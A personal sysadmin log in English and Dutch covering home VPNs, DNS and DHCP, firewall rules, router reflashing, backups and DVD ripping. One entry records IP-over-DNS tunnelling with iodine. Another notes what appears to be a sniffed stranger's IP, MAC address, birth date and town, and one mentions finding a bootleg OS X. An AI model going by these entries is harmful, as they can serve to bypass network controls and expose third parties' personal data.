Linux sysadmin woes. You get it free with the collection of duct tape scripts: http://zwizwa.be/darcs/pool Entry: object channels Date: Tue Apr 4 20:08:39 CEST 2006 I ran into this problem today: suppose you are given a single channel connected to a remote process. You can choose what that process is, but the connection is a simple pipe. How to make sure they can communicate objects bidirectionally in a synchronous way? They should be able to communicate anything, and you are only allowed to solve the problem once. This looks like what all the XML fuss is about. But it seems easier to me to solve it with s expressions. Mostly because packet forth and emacs are able to read and write them. The only real problem is to make sure strings can accomodate any binary data, and to make sure they are quoted properly. The rest is optimization. Symbols can be made to work, i.e. there has to be a protocol anyway. The (toy) problem here is the following: i want to tunnel a connection to emacs on a remote host over a ssh link. Let's call SERVER the machine which has emacs running, and CLIENT the one wanting to use it. The story goes like this: A) client opens secure channel B) client passes data to server C) server passes data to emacs D) server waits for editing to finish E) server returns edited file to client F) client closes secure channel Using gnuserv i can pass arbitrary expressions to emacs directly. In principle the client could talk to a gnuclient instance and just evaluate an expression. What should this be? A) client opens secure channel: ssh SERVER gnuclient -batch B) client passes data to server: (edit "blabla") C) server evaluates command, which creates a buffer with "blabla" D) user gives signal: (done) after "blabla" -> "boeboe" E) this makes the expression in (B) evaluate to "boeboe" F) client closes channel The nice thing would be to reuse the connect and perform B-E multiple times. So this is really nothing more than your standard client/server model, only with s expressions. Entry: simpler channels Date: Fri Apr 7 00:28:53 CEST 2006 Now that my confidence is built, let's make it a bit simpler. It all works fine, except for some gnuserv/unicode troubles, so lets take it out of the loop. It would be easier to just start a program from within emacs, which logs into a remote host, and starts a channel server there. Then the only hairy thing is the output filter and protocol, since we can't make emacs block on read, we need to delimit the atoms. Currently we have 3 scheme programs and gnuserv, this should be limited to 2 scheme programs (client-server) So it is possible to read without delims, using: (condition-case oops (read-from-string "(1 2 3") (error oops)) Entry: channels end Date: Sun Apr 9 11:56:18 CEST 2006 It all seems to work rather nicely with: * emacs-channel.el spawns server (through ssh) * channel-unix.scm interfaces stream to unix domain server * channel-unix-emacs.scm message based client The idea is that the channel-unix.scm program keeps the connection to emacs open, but accepts single expressions on a unix socket. The connection to emacs can be tunneled over any stream connection. This allows internet encryption/security to be offloaded to ssh (just start the server remotely from within emacs), and local host security to unix permissions. Entry: mobility Date: Mon Apr 24 22:34:13 CEST 2006 What i need is something which tells running processes at which terminal i am, wether i'm running emacs, wether i'm running X, etc.. Some features: * migrate mutt -> emacs if emacs running * kill emacs channel if current terminal does not have emacs * emacs channel testing: some cases it gets messed up * migrate emacs session?? * migrate firefox session?? i.e. an agent. Entry: network agent Date: Wed Apr 26 19:31:47 CEST 2006 Currently i'm experiencing problems due to the different string formats in emacs and guile. I can patch around this probably, but the easiest thing might be just to communicate between emacs and guile using files, like the original emacs-client approach, with guile on both sides of the channels. It might be easiest to combine all this with the network agent idea stated above. Here's a second iteration: I need an agent to solve roaming problems. Basically, present a single unified interface to a collection of machines, from a collection of terminals. some requirements: (1) every program on every machine can connect to agent (2) agent can locate owner (host / terminal) (3) agent can locate resources (4) agent can synchronize resources ingredients: - guile (1) - emacs (2) - screen (2) - ssh (1) - darcs (4) - mutt (3) - evilwm (2) Entry: databases Date: Fri Jul 14 18:24:40 CEST 2006 more computers, more problems to glue it all together. i seem to be converging to the following tools: * code in darcs, including scripts and config * compiling config files my current problem is managing mac addresses for all sorts of things. i need some database and maybe it's time now to start using the filesystem as a database with lots of small files, following reiser's ideas a bit. this maps easily to scheme code, and i already use it in CAT, which has 3 directories: code (ro), state (persistent rw) and current (working memory). one thing to find out is how to use emacs to edit/navigate a tree of small files. hmm... reading http://www.namesys.com/whitepaper.html it seems to be about a lot more than making small files work fast :) 3 classes of organization - hierarchical - relational - semantical (keywords) anyways, small files solve my particular problem as they serve as a unifying syntax for variables in scripts. making them map better to the language (scheme or CAT) makes things easier to use, since parsing and ad-hoc syntax can be largely eliminated. i'm not sure how to implement invertable relations though. in databases, this is implemented by explicitly storing both directions in tables. for the DNS problem, i have projective maps from names to unique-name/ip/mac, where i should be able to relate all 3 components to each other. Entry: bsd Date: Mon Aug 21 22:47:16 CEST 2006 nice system. managed to compile a kernel from linux. really works like a charm. took a bit to figure out the driver system, but it seems very clean indeed. kernel is about 2M on 32M MMX laptop. installed openbsd on the sparc64 last weekend. read this interview with deraadt about him starting his day by picking a random piece in the code, read it, and improve it. maybe it's a good idea to start doing that same practice. Entry: net booting Date: Tue Aug 22 22:52:34 CEST 2006 netbsd: only config issue linux: initrd? Entry: 1GIG flash Date: Tue Aug 22 22:54:43 CEST 2006 wat? * freedos in hda1 + grub in hda + puredyne dist? * linux swap Entry: pd font Date: Thu Aug 31 05:34:25 CEST 2006 font create defaultFont -family terminus -size 10 option add *font defaultFont Entry: xbox Date: Mon Sep 4 02:55:24 CEST 2006 messed up the xbox again.. copied xromwell.xbe -> default.xbe like stuff on the net said, while i though it should have been xboxdash.xbe so... hotswap trick again. this time, using old zwizwa. k6-2 (or k6)? kernel probably doesn't work with xbox disk + old disks slow and noisy, so i want to boot it over network. 2.6 kernel i have doesnt work, so building a new one on daddies machine. dus zit ik weer naar scrollende scherpjes te staren! reden om xbox naar de kloten te helpen is natuurlijk dat ik nie veel aan de kernel kan verandere.. ouwe boot methode is klote, want als er iets misloopt moet ik toch hotswappen. dus cromwell gebruikt. ben eens benieuwd deze keer. blijkbaar is 2.6.16 kernel niet stabiel voor xbox? een hoop waarschuwingen ivm FATX. in de 2.4.32 komen die niet voor. vraag ik me wel af of die netwerkdrivers dan gaan werken.. het lijkt alsof het allemaal weer voor niks is geweest.. yep: http://www.xbox-linux.org/wiki/Nl/Status "De FatX driver aanpassen in de Linux 2.6 tree. Het gebruik van FatX met Linux 2.6 kan leiden tot problemen in het bestandssysteem" Entry: ip over dns Date: Sat Oct 28 16:42:04 EDT 2006 lijkt redelijk te lukken met iodine. nstx is te buggy. ik zou nu zwizwa willen configureren zodat van buiten af die dns brug werkt met een of ander veiligheidsmechanisme (port knocking?). ik snap alleen nie goe hoe ik moet forwarden van een poort van host naar een andere. dan om een of andere reden werkt poort 5353 nie? huh? ik weet niet waarom, maar nu werkt het wel. 5353 is itunes, misschien was er iets mis met mn internet connectie vorige keer. anyways, iodine aangepast en het werkt prima. probleem van authenticatie lijkt me best opgelost met openvpn of gewoon ssh. er zijn voorbeelden van ppp over een tunnel, of ppp over een ssh tunnel. openvpn lost eigenlijk alles op, in combinatie met iptables op de dns tunnel interface. Entry: getting rid of bind9 Date: Wed Nov 1 15:57:09 EST 2006 tschijnt is djbdns veel beter dan bind. tis opgesplitst in 2 delen: - tinydns : UDP authorative name server - dnscache : recursive dns cache (/etc/resolv.conf) ik vraag me af of ik wel een .i domain kan maken op die manier, zonder een root server te faken? Entry: structured ipchains programming Date: Sat Nov 4 15:29:28 EST 2006 extra chains zijn eigenlijk gewoon subroutines. dus ik kan hier beter gebruik van maken de volgende keer dat ik nog eens achter een zwizwa of zzz terminal zit. op't moment ist een beetje messy. lijkt goed te werken op del. Entry: network roaming Date: Sun Nov 5 19:37:28 EST 2006 misschien is het beter om een soort daemon te draaien die mn internet connectiviteit op houdt. ik ben het een beetje beu om dat telkens manueel te doen en openvpn/dhclient/... te herstarten. dit is de truuk: iwlist $1 scanning |grep Address|awk '{print $5}'|sed s/://g met een paar scripts die dan op basis van base station mac address een script runnen. Entry: nslu2 Date: Thu Nov 9 20:44:12 EST 2006 als ik er een kan vinden voor 50$ dan denk ik wel dak em koop. 233Mhz XScale (arm) met 32MB ram en 8MB flash. dat is 2X linksys WRT54G. met 2 usb poorten en 1 bidirectionele seriele poort. in vergelijking met die asus wg-700le is dit ongeveer dezelfde prijs als ge der een harde schijf bij denkt. Entry: basix msx fpga Date: Wed Nov 15 11:53:21 EST 2006 nadeel: - kost 200 euro - is 'maar' een msx voordeel: - volledig programmeerbaar - volledige source code beschikbaar - goede leer investering ik ken niks over de fpga, misschien moet ik dat maar eens bekijken? Altera Cyclone EP1C12Q240C8N FPGA chip. 20k gates. kost 1 dollar in volume. dat moet goedkoper kunnen. misschien eerst bordjes en SMD doen, dit is te duur. zoiets lijkt me veel interessanter: http://www.enterpoint.co.uk/moelbryn/raggedstone1.html Entry: zwizwa && zzz firewall fixes Date: Sat Nov 18 19:22:15 EST 2006 best om een paar chains te maken. ik weet nu hoe dat moet. en ivm. de toegankelijkheid zwizwa.l over wifi zonder tunnel: dat maakt niet uit: de dns naam is beveiliging genoeg. dan moet ie al gesnift worden. Entry: dnsmasq Date: Sun Nov 26 11:50:48 EST 2006 what about this: replace both bind9 and dhcp3-server with something simpler: dnsmasq configured per interface, serving of a generated hosts and ether file. run it chrooted. boot files and other things can be added to the command using --dhcp-option EDIT: Sun Dec 10 20:35:46 CET 2006 Dus wat ik hier wil doen is hetvolgende: * simpelere dns/dhcp backend * eigen programma dat dns truuken doet implementatie: * daemon in scheme * update = hercompileer config + start dnsmasq ok.. lijkt grotendeels te werken. problemen: * ether -> ip koppeling per netwerk (of config file genereren) DONE * runit + logger DONE * generate openvpn configs (zie oude file) DONE * speciale dhcp options -> alst nodig is Entry: openvpn UDP + tap interface Date: Mon Dec 11 00:01:49 CET 2006 in that case, it's possible to just use dhcp.. nie? ja, maar dit maakt echt niet veel uit. ik moet toch config files maken. Entry: INPUT vs FORWARD Date: Mon Dec 11 20:02:02 CET 2006 als ik vanuit net 13 naar 15 ssh dan lukt dat... blijkbaar telt dat niet als forward. ok. kan ik mee leven. maar als ik een sessie open zonder openvpn en dan openvpn start, loopt het mis. routes? dit is waarschijnlijk een probleem met firewall connection tracking. misschien is het best om die interface onbereikbaar te maken om dat soort problemen ongedaan te maken. wacht: het probleem licht mischien eerder bij de ip stack: alles gaat over een andere interface. dat is gemakkelijk te testen door de firewall af te zetten. inderdaad: met firewall af geeft het nog altijd problemen. Entry: upload cap Date: Tue Dec 12 15:09:44 CET 2006 ik moet een manier verzinnen om op zwizwa en zzz de upload bandbreedte te beperken zodat backups and downloads niet alles in de war sturen. Entry: ssh port forwarding with ip address mapping Date: Wed Dec 13 20:34:10 CET 2006 1. enable port forwarding on the target host like this: ssh -NR 22001:localhost:22 tom@forward.host 2. make sure forward.host:/etc/ssh/sshd_config contains the line GatewayPorts yes 3. add a firewall rule on forward.host iptables -t nat -A PREROUTING -p tcp -d 10.22.0.1 --dport 22 -j REDIRECT --to-port 22001 4. on any host on the network, do this to log in ssh user@10.22.0.1 don't know how to fix this for host outgoing though.. Entry: vpn connect Date: Wed Dec 20 14:52:49 CET 2006 now using i.vpn-host.net (freedns.afraid.org) to point to zwizwa.h1x.com this is overridden in the local DNS to point to local vpn host. (zzz/zwizwa) Entry: emacs in terminal Date: Fri Dec 22 23:37:37 CET 2006 trying to figure out how to make emacs run better in a terminal window. current problems: * character sets (utf8?) * colors? the X colors are nicer, 24bit * some keys don't work (meta is different) Entry: networking Date: Sat Dec 16 01:01:32 CET 2006 still to do: roaming. whenever one of the roaming computers registers through dhcp or openvpn, it's ip should be broadcast. this can also happen manually. probably easiest. Entry: sniffing Date: Wed Dec 20 15:29:51 CET 2006 10.91.143.132 ?? (00:04:23:58:60:7d) 9-mar-1979 23:00 Lanciano Italy Entry: emacs22 Date: Sat Dec 23 03:58:46 CET 2006 samen met dtach = perfect roaming systeem. misschien interessant om het effe te gebruiken in terminal zodat ik term en X wat kan effenen. problems: - f11 / f12 - meta confusion? esc-map op del, maar Meta op zzz? Entry: emacs recap Date: Sat Dec 23 22:42:36 CET 2006 * getting rid of emacs channel stuff -> use client + tramp * ALT + righthand for cursor navigation C-x C-p mark-page ( C-x C-p C-w = clear buffer ) C-x k kill-buffer Entry: qemu Date: Sun Dec 24 01:14:12 CET 2006 tis fijn voor't testen van minimal images en netbsd, maar ik ben ook alweer vergeten waarom ik netbsd zou gebruiken, buiten het feit dat het leuk draait op oude pentium mmx laptop: ** qemu vde (zless /usr/share/doc/vde/README.Debian.gz) ** qemu -> netbsd minimal boot + x Entry: distributed filesystem Date: Tue Dec 26 13:31:39 CET 2006 eigenlijk wil ik gewoon een redundant filesysteem voor mn emails: tom@goto10.org en tom@zzz.kotnet.org -> elk hun eigen delivery systeem om downtime van de servers te vermijden, maar ieder moet wel een gemeenschappelijke store gebruiken voor email archief. meer algemeen: hoe kan ik een gedistribueerd systeem maken dat werkt over rsync? ik had gedacht aan bestanden te indexeren via hun MD5 sum, en daanaast een tree van symlinks te maken. -> gemakkelijk te updaten: alle bestanden die in de tree staan en geen link zijn: maak MD5 sum , verplaats naar pool en vervang door link -> gemakkelijk backups te maken. -> botsingen zijn dezelfde files -> gemakkelijk te hersynchroniseren -> kompatiebel met alle programmas die werken met directorystructuur en geen files verplaatsen. Entry: routing Date: Tue Dec 26 23:11:09 CET 2006 ben eens aan't denken.. waarom maak ik geen 'personal area network' voor mijn laptop, en probeer het routing probleem op te lossen met standaard routing tools? bv: 12-15 zwizwa site (lan/wifi/vpn) 16-19 zzz site (lan/wifi/vpn) 20 azrael (roeland wifi/lan) 21 gargamel (ben wifi/lan) 22 del (pan) bv.. 20.* is pan netwerk van del laptop, gimplementeerd als ethernet bridge, met del als router 20.254 -- de route naar 20.254 hang af van lan/wifi/vpn connectie : mogelijkheden: interne lans, vpn via zwizwa/zzz site of wireless Entry: vpn tap stuff Date: Wed Dec 27 20:23:40 CET 2006 -> zwizwa udp vpn is nu tap -> zzz-zwizwa tunnel vervangen door zzz -> zwizwa udp tap vpn -> zzz maakt tcp tunnel voor 22 poort via /var/service Entry: routing ospf / bgp Date: Wed Dec 27 22:29:28 CET 2006 ospf: gebruikt backbone netwerk voor router info propagatie, en maakt een minimal spanning tree (dijkstra algo) uit topologie beschrijving. bgp: decentralized, core internet routing protocol rip: obsolete maar simpel? hoe toepassen op i roaming probleem? backbone = vpn connectie naar zwizwa.h1x.com locale link = vpn.i Entry: tunnel + congestion Date: Fri Dec 29 02:49:57 CET 2006 probleem is: * UDP en congestion gaat nie goed samen * TCP over TCP is nie ok openvpn is een packet level VPN. is het mogelijk om een deel om te zetten naar een stream level VPN? ssh heeft al goed werkende stream vpn. is het mogelijk zoiets transparant te doen? komt neer op: 1. router ziet nieuwe tcp connectie naar buiten 2. opent een stream level proxy over een reliable channel 3. redirect alle verkeer naar x naar de locale proxy Entry: vlans Date: Sun Dec 31 01:01:22 CET 2006 alternatief voor vtun? (ethernet over UDP) ethernet over ethernet? (vlan?) -> ik snap niet goed hoe dit werkt als de linksys router zelf al vlans gebruikt voor de verschillende poorten. ethernet over IP -> zowiso een kernel ding.. niks gevonden. waarschijnlijk not worth the trouble. Entry: kphone Date: Mon Jan 1 03:34:48 CET 2007 cool stuff. most coolness in: - STUN - external application * SIP *** registrar: central 'where is he?' (zwizwa) *** route/proxy servers: divert traffic *** signalling (sip) / media (mgcp: create/modify/delete connection) *** media: rtp *** sip for generic connections: firewall piercing *** asterix (sip <-> pstn) *** media gateway controller? *** protocol: http-like / UDP *** server: libosip / exosip *** client: kphone / linphone Entry: socat ontdekt Date: Tue Jan 9 01:06:32 CET 2007 # convert CR -> NL for read/write socat - /dev/ttyUSB0,raw,cr,ixon=1,b38400,echo=0 # this uses the termios ignore cr on input in addition socat - /dev/ttyUSB0,raw,echo=0,cr,igncr=1,ixon=1,b38400 Entry: routing en vpn Date: Thu Jan 18 15:14:32 GMT 2007 af en toe loopt het nog mis. dingen die ik eens degelijk moet oplossen: * vpn starten of niet? hangt niet enkel af van interface, maar van netwerk * vpn en quagga interferentie * meer optimale routing, ipv enkel hop gebaseerd. Entry: zwizwa name server trouble Date: Sat Jan 20 17:24:34 GMT 2007 i think i found it: /var/log/messages Jan 19 21:35:52 zwizwa pppd[2430]: LCP terminated by peer Jan 19 21:35:52 zwizwa pppd[2430]: Connect time 2159.9 minutes. Jan 19 21:35:52 zwizwa pppd[2430]: Sent 66615753 bytes, received 115497447 bytes. Jan 19 21:35:55 zwizwa pppd[2430]: Connection terminated. Jan 19 21:35:55 zwizwa pppd[2430]: Modem hangup Jan 19 21:35:59 zwizwa pppd[2430]: Hangup (SIGHUP) Jan 19 21:35:59 zwizwa pppd[2430]: Serial connection established. Jan 19 21:35:59 zwizwa pppd[2430]: Using interface ppp0 Jan 19 21:35:59 zwizwa pppd[2430]: Connect: ppp0 <--> /dev/pts/1 Jan 19 21:36:01 zwizwa pppd[2430]: PAP authentication succeeded Jan 19 21:36:02 zwizwa pppd[2430]: local IP address 80.200.51.247 Jan 19 21:36:02 zwizwa pppd[2430]: remote IP address 80.200.51.1 /var/log/openvpn/10.70.60.log Fri Jan 19 21:36:56 2007 RESOLVE: Cannot resolve host address: goto10.org: [TRY_AGAIN] A temporary error occurred on an authoritative name server. zwizwa valt nog steeds uit.. 23 jan 2007 18:00 net skype gebruikt, maar dns verkeerd... misschien moet ik eens proberen bepaalde dingen in IP te hardcoden, als dit gewoon een dns probleem is. enkel www.changeip.com moet toegankelijk zijn. misschien overschakelen op iets anders? de ping test misschien ook.. nodig: - dns moet robuust gemaakt worden: het is niet toegelaten om zonder dns te vallen. - adsl restart onafhanklijk van dns - mail onafhankelijk van dns? de dingen hierboven zijn geimplementeerd. 2 daemons: check-ppp en check-dns. de laatste checkt of publieke dns werkt (if not restart dnsmasq) en of publiek en locaal gelijk zijn (if not updatedns). ik vraag me af of dnsmasq restart wel genoeg is.. Entry: network connect Date: Sun Jan 28 11:32:26 GMT 2007 i should automate this.. needed functionality: * choose between wireless and wired * start / restart openvpn if necessary Entry: la fonera WPA Date: Wed Mar 7 07:49:31 EST 2007 trying to get WPA working on debian.. looks like i'm missing some kernel extensions. i don't really understand how it works.. wpa_supplicant daemon et all. i prefer to just have an open network really, but if i can get it to work without too much trouble, why not.. ok. that was easy. just some driver missing. now to integrate it with previous /etc/wifi stuff ok.. was easy too. Entry: broke fonera dnsmasq Date: Mon Mar 19 20:28:16 EDT 2007 something broke, and i don't really know what exactly i changed.. some bug in dnsmasq pops up: i get query refused. if i start it with -d, everything works ok.. maybe i should have a look at how it really works hmm.. ok. i found it using 'logread' :) the /etc directory had permissions 700, which i thought was necessary for dropbear, but apparently it's not.. changed back to 755 because dnsmasq needs it (runs as nobody) Entry: lansing net Date: Tue Mar 20 12:25:50 EDT 2007 * freggle: wifi client + openvpn + firewall * simple: in 'dmz' * fonera: dns freggle masq -> vpn, so routes do not need to be broadcasted. i can't get nfs mounting to work. what's new... going to switch to ssh only. then install mipsel debian. got it running as a chroot /disk switched root dropbear to 2222, shared key with debian on /disk, and starting debian sshd on 22, after mounting /proc and /dev/pts Entry: distributed filesystems Date: Wed Mar 21 12:01:45 EDT 2007 looks like there is really no ready-made solution. what i want is something that works a bit like 'darcs': - archives are completely distributed and self-contained (cache and backup) - transaction based: all 'editing' changes are propagated. - deleted files are not retained: no editing history - separate directory tree and storage pool - file aliases basicly this is rsync, but with poper 'merging'. in rsync, there is always a master. so what about these paths: 1. rsync with proper merge 2. darcs with symlinks and a data pool my orginal idea of putting the directory tree in a darcs file, and using a pool with MD5 hash names isn't so bad really. the tree could really be an s-expression, and a copying garbage collector should work just fine (between pool directories). elements - fuse for interface - scheme for handling the internal representation + daemon - rsync for transferring pools everything seems technically feasible, except for the 'merge' idea. AFS seems really heavy, and is client/server. this seems close: http://wiki.apache.org/nutch/NutchDistributedFileSystem let's have a go at this: 1. all operations on the store need to be serialized 2. nodes can perform operations in parallel 3. the merger needs to handle conflicts the operations are: * add file * change file properties (permissions / name) * delete file what about hard linked pool? and sync only the pool? hard links are better because they are not directional. it would be really nice to have standard representation. something that can easily be tranferred to non-managed space, and also easy to debug and regenerate.. so file tree <--> pool + file log (md5 + path) this is for another time. don't have enough context in my head for it.. would be a nice opportunity to give scheme shell a try though. Entry: dvd ripping Date: Thu Mar 22 13:17:42 EDT 2007 dvdbackup -i /dev/dvd -M -o where_to_save for naked lunch i had to "mplayer -aid 128". by default it took 129 which was a voice over narrative. probably best to have -o be the toplevel rip directory (dir containing ripped cds) and set the title with -n in case of multiple disks (naked lunch was named the same) something like dvdbackup -i /dev/dvd -M -o /data/dvdbackup -n Entry: bidir udp Date: Sat Mar 24 18:40:25 EDT 2007 2 ends / symmetric socat - UDP4:localhost:11111,sourceport=22222 socat - UDP4:localhost:22222,sourceport=11111 that seems to work ok, now using firewalls A FW_A FW_B B using firewall doesnt work.. the thing to know is how ports are mapped. assuming this is just copied apparently doesnt work.. if it is known then A -> FW_B and B -> FW_A see http://www.gotroot.com/tiki-view_blog_post.php?blogId=2&postId=4 Entry: mencoder Date: Mon Apr 2 12:04:46 EDT 2007 cd /data/mencoder ln -s .../*.VOB . then delete all unwanted VOBS mencoder -vf crop=:460 -ovc frameno -oac mp3lame -lameopts vbr=3 -o frameno.avi -mpegopts format=dvd VTS_01*VOB 2>&1 -> ODML: Aspect information not (yet?) available or unspecified, not writing vprp header. Recommended video bitrate for 650MB CD: 903 Recommended video bitrate for 700MB CD: 981 Recommended video bitrate for 800MB CD: 1138 Recommended video bitrate for 2 x 650MB CD: 1923 Recommended video bitrate for 2 x 700MB CD: 2080 Recommended video bitrate for 2 x 800MB CD: 2394 Video stream: 0.767 kbit/s (95 bps) size: 512744 bytes 5344.845 secs 128188 frames Audio stream: 102.225 kbit/s (12778 bps) size: 68303400 bytes 5345.352 secs mencoder -vf crop=:460 -oac copy -ovc lavc -lavcopts vcodec=mpeg4:vpass=1:vbitrate=22000 -o movie.avi *.VOB ODML: Aspect information not (yet?) available or unspecified, not writing vprp header. Video stream: 118.936 kbit/s (14867 bps) size: 79458950 bytes 5344.645 secs 128188 frames Audio stream: 102.228 kbit/s (12778 bps) size: 68302344 bytes 5345.088 secs oops. changed bitrate to 981 // last try, something wrong with aspect, so setting manually mencoder -vf crop=:460 -oac copy -ovc lavc -lavcopts vcodec=mpeg4:vpass=1:aspect=16/9:vbitrate=980 -o movie.avi *.VOB -- again // crop if necessary mencoder -ovc frameno -oac mp3lame -lameopts vbr=3 -o frameno.avi -mpegopts format=dvd *.VOB Entry: scsh -- the pain of unix Date: Thu Apr 5 13:08:52 EDT 2007 the pain of unix is really impedance matching. it's nice to have all these small utilities output data tables in their own adhoc way, but it sucks to parse them == match them to other things. i guess, the 'worse is better' motto applies here. it's good to not have standards since it would slow dev, but it's good to have standards to allow interopration. looks like we just need to fill the gap with something that does the trick, and perl is really not the answer.. scsh to the rescue, i hope. i'd like to get rid of sh,grep,awk or perl, and do it properly: parse output into an s-expression, then work with that. problem is i can't get scsh to run on the routers. cross compilation doesn't seem to work, and it seems to be a bit too big too. so what about tethering? all i really need is ssh and some basic 'machine language' which could be the shell. Entry: fred and sam Date: Fri Apr 6 10:29:30 EDT 2007 fix openvpn when network is switched. wow that thing is borked! it looks like there are 4 copies of the wds-ifup script spawned, so i had to add some sync code (rm /tmp/ifup-wds || exit) seems to work now. firewall is decent too. Entry: plt scheme XML Date: Tue Apr 10 17:59:51 EDT 2007 see /usr/lib/plt/collects/xml/private/xexpr.ss (require (lib "xml.ss" "xml")) (xml->xexpr (document-element (read-xml (open-input-file "test.xml")))) Entry: how to simplify xml Date: Wed Apr 11 14:53:20 EDT 2007 using the xexpr representation mentioned above, with spaces stripped. still this is too complicated a structure. the idea is to make it just a nested s-expression, with only name -> value pairs, and use attributes for things that are not text or nested expressions. (tag ((a1 v1) (a2 v2)) "text1" (tag1 ((a11 v11) (a12 v12)) (tag11 ..) (tag12)) "text2" (tag2 <attrib> <elements>)) what i want is just this: (tag (a1 . v1) (a2 . v2) (string . "text1") (tag1 ((a11 . v11) (a12 . v12) (tag11 . (...)))) (string . "text2") (tag2 . (...)) ...) this means the fist simplification is to not allow text floating inbetween nested things: it needs to be wrapped in a 'string' tag. Entry: problem with dnsmasq.. Date: Sun Apr 15 16:51:41 CEST 2007 blijkbaar loopt er af en toe iets mis met dnsmasq: google.com A record query refused by localhost als ik dan rechtstreeks naar de dns server een query stuur werkt het wel. firewall probleem? voodoo. Entry: ip aliasing ipv tunneling voor wrt routers Date: Sun Apr 15 21:37:53 CEST 2007 wat ik nu heb is ethernet over udp (vtun), gebridged. wat ik wou doen is ip over ethernet, dmv ip aliasing. lijkt me meer robuust en simpeler dan udp tunnels, maar dhcp gaat dan niet werken, tenzij ik andere truuken ga gebruiken. ok, obviously (after trying :) an ip alias is not ethernet but ip layer, so it can't be bridged. for this vlans are necessary. so it looks like udp is still the right solution, unless i can get vlans to work. my only concern here is the namespace. if the router uses 0 and 1, what do i call the segment that represents the unsafe network on the main ethernet? the question is: do the tags survive the eth0 <-> switch part? Entry: robocfg Date: Mon Apr 16 00:13:27 CEST 2007 switch config. vconfig is kernel side, robocfg performs switch configuration. what i need is: * all ports on local net (vlan1) * main uplink port is tagged -> wireless transport first works, the rest not yet. does an ordinary hub preserve packets? i guess so. it's a dumb device.. ok, look like i just got a number wrong. (WAN port is 4 instead of 0) ok. its working. Entry: fonera dissect Date: Mon Apr 16 18:26:28 CEST 2007 - wifi: Atheros AR2313 wifi0 -> mother device ath0/ath1 -> access points (software:hostap) tun0 is chillispot - watchdog: software? - lock /var/run/restart-services is from /etc/init.d/rcS it runs in a loop. killing it breaks the loop. got br0 = { vlan2, ath1 } with ath1 ip address disabled, and dnsmasq disabled. works fine. Entry: quagga default route Date: Tue Apr 17 14:32:26 CEST 2007 something went wrong with quagga setting the default route during pppoe restart: now, in check-ppp, quagga is stopped before pppd is started, and the ip-up script will start it again. this can probably be solved in quagga config though. Entry: iptables user match Date: Fri Apr 20 21:35:23 CEST 2007 iptables -A OUTPUT -m owner --uid-owner 1100 -j DROP Entry: i hate my mac Date: Sun Apr 22 01:41:19 CEST 2007 guess cdrom is broken, or my cd set is somehow corrupt.. i don't see what's wrong, but i'm getting tired of it. the 10.3 on th 477MHz crap box met its end. if i want to do 10.4 testing, i guess i need to used other ppls stuff.. i'm tired of this crap. osx is not ok. so i'm going to format the whole disk and turn it into a ubuntu box. maybe a bit less drastic would be to erase the debian partition, since i just don't use it. i think it's probably easier to find a bootleg 10.4 to run on a pc, then to mess with this old piece of crap. Entry: apache on zwizwa Date: Fri Apr 27 20:34:04 CEST 2007 # ls -al /usr/sbin/apache2 -rw-r--r-- 1 root root 332448 2007-03-27 15:21 /usr/sbin/apache2 Entry: mutt and dtach Date: Sun Jun 3 12:39:33 CEST 2007 key not bound.. ??? clearly something with evil's windows-q Entry: fixing sam Date: Tue Jun 5 14:58:05 CEST 2007 - alias werkt - password afzetten? -> afschermen van intern net? Entry: squatting la fonera Date: Tue Jun 5 15:42:00 CEST 2007 - enable ssh and disable thinclient (also disable saving of script) - http://giancarloromeo.netsons.org/2007/04/02/la-foneras-ipkg-fixed/ - set ipkg repo to: http://ipkg.k1k2.de/packages - patch /bin/thinclient and change ipkg -> /rom/usr/bin/ipkg - copy the script.tar from tuur/sam Entry: gateway trick Date: Thu Jun 21 18:26:35 CEST 2007 using a gateway with different outgoing ip. the deal is: sending packets out is one thing, but they need to come back too. so if i have: GW2 GW1 | | FRED-------ZZZ | ME sending out through GW1 is ok, because ZZZ knows how to send back. so if i want to use GW2 i need: ME configured with GW2 as gateway FRED configured with masquerading FRED can reach ME if i make a tunnel using vtun directly to fred, it works without problems. i guess somewhere along the line things get messed up.. i don't understand how. maybe a gateway needs to be on a local subnet? let's try again Entry: bye bye mutt Date: Mon Jul 16 15:51:21 CEST 2007 I'd like to get rid of mutt, and switch to an emacs based mail reader, possibly vm. Problem is that vm doesn't read maildirs, only mbox. So maybe it's time to switch to IMAP properly? No more host local mail boxes? Also, COURIER imap uses some special kind of map layout. Maybe i should just start using it.. But. Courier uses system password auth.. and i'd like to move to ssh pubkey + ssh-agent only auth. ok. gnus supports maildir. so maybe i should use gnus instead? Entry: zwizwa ppp problems Date: Fri Jul 20 11:27:38 CEST 2007 * sometimes more than one instance of pppd/pppoe is loaded. * quagga might mess up the route how to fix this? -> shut down everything with one command -> wait for auto-reconnect to come up another problem: downloading stuff might fill up some important partitions: need to move stuff around so this won't happen again. Entry: backups Date: Fri Jul 20 16:56:48 CEST 2007 maybe it's time to fix this problem for once and for all.. the deal is: * the backup user needs read permissions for everything * the backup user doesn't need write permissions * file attributes (including uid/guid/timestamps) need to be preserved * if possible make incremental backups * if possible, creation of backup (backup user) should be independent of storage of backup (just a secure place somewhere) Entry: sending email from anywhere Date: Sat Jul 21 13:54:19 CEST 2007 the thing i'd like to do is to be able to send email from any host, basicly composing in emacs, and have it envelope from @goto10.org currently, it's something like tom@del.i Entry: fakeroot backups Date: Sun Jul 22 15:25:15 CEST 2007 this seems to sort of work: fakeroot -i STATE -s STATE \ rsync -e "ssh -o 'UserKnownHostsFile /tmp/known'" \ -av root@localhost:/tmp/fakeroot/REAL/ . see /usr/share/doc/fakeroot/README.saving update: # ssh wrapper that can be executed from within a fakeroot environment DOTSSH=/home/goto/.ssh exec ssh \ -q \ -o "UserKnownHostsFile $DOTSSH/known_hosts" \ -o "IdentityFile $DOTSSH/id_dsa" \ "$@" # using stat. this is quite expensive.. one process per entry! find / -exec stat -t '{}' ';' Entry: XBOX hot swap Date: Mon Jul 23 11:35:31 CEST 2007 got: * old zwizwa (kapari netboot with 2.4 + fatx) * monitor and keyboard / terminal don't got: * TV * maybe null modem cable then: * flash the rom * install debian or something on silent hd ? Entry: distributed editing and backups Date: Wed Jul 25 13:42:21 CEST 2007 thos are not the same!! BACKUP: 1 source / multiple targets: rsync --delete is safe MERGE: multiple source / multiple targets: rsync --delete is NOT safe i guess you really need a source control to do MERGE properly, and have the tool ask you what to do in case of conflicts it cannot resolve. Entry: laptop connectivity Date: Thu Jul 26 15:06:39 CEST 2007 if no connectivity, try the following until one succeeds: CONNECTIVITY * check wireless * check wired VPN * check if we are on local net: all vpns are reachable * start openvpn maybe have wired override wireless? Entry: playing a copied dvd Date: Sat Aug 4 13:47:12 CEST 2007 mplayer dvd:// -dvd-device 